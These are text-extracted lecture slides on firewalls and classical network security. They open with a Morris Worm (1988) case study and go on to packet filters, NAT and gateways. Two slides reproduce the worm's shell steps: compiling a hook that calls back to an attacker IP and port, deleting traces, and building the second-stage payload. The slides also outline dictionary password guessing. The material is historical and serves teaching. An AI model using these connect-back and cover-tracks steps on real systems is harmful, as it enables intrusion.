Firewalls and Classical Network Security

(1)

Firewalls and “Classical”

Network Security

(2)

SERVER-‐SIDE ATTACKS

(3)

A Story from the News

• _{A
program
infected
thousands
of
computers}

– 

Vic:m computers were mostly in one country

– 

Reported to cost in the millions of $$$

– 

Some computers were infected many :mes

– 

Event caused major service disrup:ons

– 

Many of the world’s top security experts rushed

to analyze the program

(4)

The story of a malicious program

• _{Cross-‐plaForm}

– 

Targeted vulnerabili:es in mul:ple programs on

two of the most popular device plaForms

• _{Two-‐step
infec:on
process}

– 

First stage establishes a foothold on the machine,

then downloads the second stage

(5)

The story of a malicious program

• _{Propaga:on
mechanisms}

– 

Cracked user passwords, used them to spread

– 

Exploited password re-‐use between sites

– 

Harvested target addresses from users’ ﬁles

– 

Tried to limit re-‐infec:ons of the same machine

– 

Re-‐tried to infect new vic:ms aNer a :meout

(6)

The story of a malicious program

• _{Used
an:-‐forensics
/
an:-‐debugging}

– 

“Encrypted” data held in memory

– 

“Decrypted” data on-‐demand before use

– 

Deleted itself from the ﬁle system

(7)

The story of a malicious program

• _{AWempted
to
collect
data
&
send
it
to
a}

“central” loca:on in the network

– 

Owner of the “central” computer had no idea it

was being used this way

(8)

When did this happen?

A. 2010-‐2013

B. 2005-‐2009

C.  2000-‐2004

D.  1990-‐1999

E.  1980-‐1989

F.  1970-‐1979

(9)

Two-‐Step Infec:on

• _{AWacking
machine
installs
the
“hook”
program}

on the vic:m

• _{“Hook”
program
downloads
2}

nd

_{-‐stage
payload}

(10)

Infec:on Step 1: Installing the Hook

AWacking machine gets a shell on the vic:m machine, either through a soNware exploit or a cracked password

(11)

Infec:on Step 1: Installing the Hook

AWacking machine uploads the “hook” program source, compiles it, and covers its tracks

PATH=/bin:/usr/bin:/usr/ucb! cd /usr/tmp!

sed ‘int zz/q’ > (random).c;! (source code of hook program)! int zz;!

cc –o (random) (random).c;  

./(random) (attacker IP) (attacker port) (cookie);! rm –f (random) (random).c; echo DONE!

(12)

Infec:on: Step 2

AWacking machine waits for the vic:m to connect on the given TCP port

(13)

Infec:on: Step 2

Hook program “phones home” to the speciﬁed IP address and port number to download the 2nd_-‐stage

(14)

Infec:on: Step 2

Hook program downloads object ﬁles for 2nd_{-‐stage
payload}

(random)1.o

(15)

Infec:on: Step 2

Hook program runs the execl() system call, to replace itself with a shell

(16)

Infec:on: Step 2

AWacker machine sends commands to the shell – Compile and link the 2nd_{-‐stage
object
code,
then
run
it!}

PATH=/bin:/usr/bin:/usr/ucb ! rm -f sh ! if [ -f sh ] ! then ! P=(random)! else ! P=sh! Fi! ! cc -o $P (random)1.o!

./$P –p $$ (random)1.o (random)2.o (random).c! !

(try (random)2.o if necessary...)! !

(17)

Infec:on Spread: User Accounts

• Program tries to spread by guessing passwords

– 

_{It
can
read
hashed
passwords
on
the
system}

• Looks up each account’s proﬁle

– 

_Username

– 

_{Real
name}

• Tries to guess passwords based on these

– 

_{Password
=
user
name}

– 

_{Password
=
real
name}

– 

etc

(18)

Infec:on Spread: User Accounts

• _{Program
also
includes
a
list
of
dic:onary}

words

– 

Tries every word in the dic:onary

– 

Eventually tries dic:onary words against all

hashed passwords

(19)

Infec:on Spread: User Accounts

• _{Program
digs
through
users’
data
to
ﬁnd
other}

accounts on other systems

– 

Tries to log in to those systems using same

password

(20)

Limi:ng Re-‐infec:ons

• _{Program
aWempts
TCP
connec:on
to
localhost}

on a hard-‐coded port

– 

If no response, listen() on that port instead

• _{If
there
is
a
response,
client
and
server
ﬁgure}

out who should exit() and who should keep

running

(21)

When did this happen?

A. 2010-‐2013

B. 2005-‐2009

C.  2000-‐2004

D.  1990-‐1999

E.  1980-‐1989

F.  1970-‐1979

(22)

When did this happen?

A. 2010-‐2013

B. 2005-‐2009

C.  2000-‐2004

D.  1990-‐1999

E. 1980-‐1989 The “Morris Worm” -‐ 1988

F.  1970-‐1979

For more informa:on, read Gene Spaﬀord’s excellent 1988 tech report:

E.H. Spaﬀord. “The Internet Worm: An Analysis”. Purdue Technical Report CSD-‐TR-‐823. 1988.

hWp://spaf.cerias.purdue.edu/tech-‐reps/823.pdf

(23)

The Morris Worm (1988)

• _{Infected
100’s
or
1000’s
of
Sun
3’s
and
VAX’s}

running BSD Unix

• _{Exploited
ﬂaws
in
sendmail
and
ﬁngerd}

• _{Caused
many
servers
to
go
oﬄine}

• _{Led
to
the
crea:on
of
CERT
at
CMU}

and the rise in popularity of ﬁrewalls

(24)

(25)

Background: The “Client-‐Server” Era

Corporate Network

•  Safe, or at least controlled •  Users are (mostly) benign •  SoNware is oNen vulnerable •  Vendors are oNen unresponsive

(26)

Background: The “Client-‐Server” Era

Corporate Network

to security issues

The Internet: Early Days

•  A network of networks •  Big companies •  Governments •  Universi:es

•  LiWle or no administra:ve control •  SoNware oNen vulnerable

(27)

Background: The “Client-‐Server” Era

Corporate Network

to security issues

•  More like the Internet of 5-‐10 years prior

The Internet: Growing Pains

•  More organiza:ons connected

•  More malicious users than ever before •  Malicious users may try to “break in”

(28)

Goal: Keep the bad guys out

Firewall

•  Acts like a gatekeeper or “bouncer” at the edge of the corporate network

•  Gives internal users full access to the internal network

•  Easier than patching / ﬁxing every vulnerable program on every

(29)

4 (or 5) Kinds of Firewalls

• _{Stateless
Packet
Filter}

• Stateful Packet Filter

– 

Network Address Transla:on (NAT)

• Applica:on Layer Gateway

• _{Bridged
Firewall}

(30)

Packet Filter / Screening Router

Stateless Firewall

•  Examine each packet in isola:on •  Accept, reject, or drop based on

network and transport–layer headers

(e.g. IP addresses, ports)

•  Fast, simple – routers can do this at extremely high speed

(31)

Firewall Rules: Example

Web Server 10.10.10.30 Mail Server 10.10.10.40 Worksta:ons 10.10.20.*

(32)

Firewall Rules: Example

• IF (srcip == 10.10.10.30 AND

srcport == 80)

OR (ds:p == 10.10.10.30 AND

dstport == 80)

–  ACCEPT

• IF (srcip == 10.10.10.40 AND

srcport == 25)

OR (ds:p == 10.10.10.40 AND

dstport == 25)

–  ACCEPT

• IF (srcip in 10.10.20.* AND

dstport < 1024) OR (ds:p in

10.10.20.* AND srcport < 1024)

–  ACCEPT

• ELSE

–  DROP Web Server 10.10.10.30 Mail Server 10.10.10.40 Worksta:ons 10.10.20.*

(33)

Problems with Stateless Firewalls

• _{If
we
want
to
allow
connec:ons
on
a
given}

port, we add a rule to allow packets on that

port

• _{AWacker
can
use
this
to
sneak
through
the
FW}

(34)

Stateful Firewall

• _{Idea:
Pay
aWen:on
to
Transport
layer}

– 

Keep track of currently open connec:ons

– 

Allow packets from those connec:ons

(35)

Stateful Firewall

• _{Idea:
Pay
aWen:on
to
Transport
layer}

– 

Keep track of currently open connec:ons

– 

Allow packets from those connec:ons

• _{How
to
do
it?}

– 

TCP SYN / SYN ACK à New connec:on opening

– 

TCP FIN / FIN ACK à Old connec:on closing

(36)

Network Address Transla:on (NAT)

• Originally designed to save

IP space

• Allows many internal hosts

to share one external IP

address

• NAT router translates

between internal and

external addresses

– 

Replaces clients’ internal IP’s

with its own external address

– 

Replaces clients’ ports with its

own ports

– 

Keeps track of all open

connec:ons in order to route

incoming packets correctly

Src IP: 192.168.0.100 Src Port: 12345

Dst IP: 6.7.8.9 Dst Port: 80

(37)

Network Address Transla:on (NAT)

• Originally designed to save

IP space

• Allows many internal hosts

to share one external IP

address

• NAT router translates

between internal and

external addresses

– 

Replaces clients’ internal IP’s

with its own external address

– 

Replaces clients’ ports with its

own ports

– 

Keeps track of all open

connec:ons in order to route

incoming packets correctly

Src IP: 192.168.0.100 Src Port: 12345 Dst IP: 6.7.8.9 Dst Port: 80 Src IP: 131.252.1.1 Src Port: 54321 Dst IP: 6.7.8.9 Dst Port: 80

(38)

Network Address Transla:on (NAT)

• Also has some nice

beneﬁts for security

– 

External aWacker can’t

even address packets to

internal hosts without a

pre-‐exis:ng connec:on

• Some drawbacks, too

– 

Protocols that include IP

addresses or ports in the

message body may run

into trouble

(39)

Applica:on Layer Gateway

•  Gateway has two network interfaces

•  One on each network (internal, external) •  No direct communica:on across the boundary •  All messages must go to the gateway

•  Gateway decides whether to allow or deny based on applica:on-‐layer content

(40)

Applica:on Layer Gateway

Src IP: 192.168.0.100 Src Port: 12345

Dst IP: 192.168.0.1 Dst Port: 25

(41)

Applica:on Layer Gateway

Src IP: 192.168.0.100 Src Port: 12345 Dst IP: 192.168.0.1 Dst Port: 25 Src IP: 131.252.1.1 Src Port: 3456 Dst IP: 2.3.4.5 Dst Port: 25

(42)

Applica:on Layer Gateway

•  Good for security

•  AWacker can’t send packets to internal hosts

•  AWacker can’t get messages to internal network (without going through gateway) •  Common applica:ons

•  Mail (SMTP)

•  Web proxies (e.g. Squid, Websense) •  Other proxies (SOCKS)

(43)

Applica:on Layer Gateway

•  Mixed blessing: SoNware on the internal network must be aware of the gateway

•  Otherwise its messages can’t get out •  Costly: Requires lots of soNware, CPU, RAM

compared to network-‐layer ﬁrewalls

•  Also, more aWack surface on the FW

Src IP: 192.168.0.100 Src Port: 12345 Dst IP: 2.3.4.5 Dst Port: 25

???

L

???

L

(44)

Bridging Firewall

•  Gateway has two network interfaces

•  One on each network (internal, external) •  But no IP addresses – AWackers can’t

directly address packets to it from outside the LAN

•  Gateway acts like a “bump in the wire” •  Drops or re-‐routes disallowed packets •  Passes packets allowed by policy

Firewalls and Classical Network Security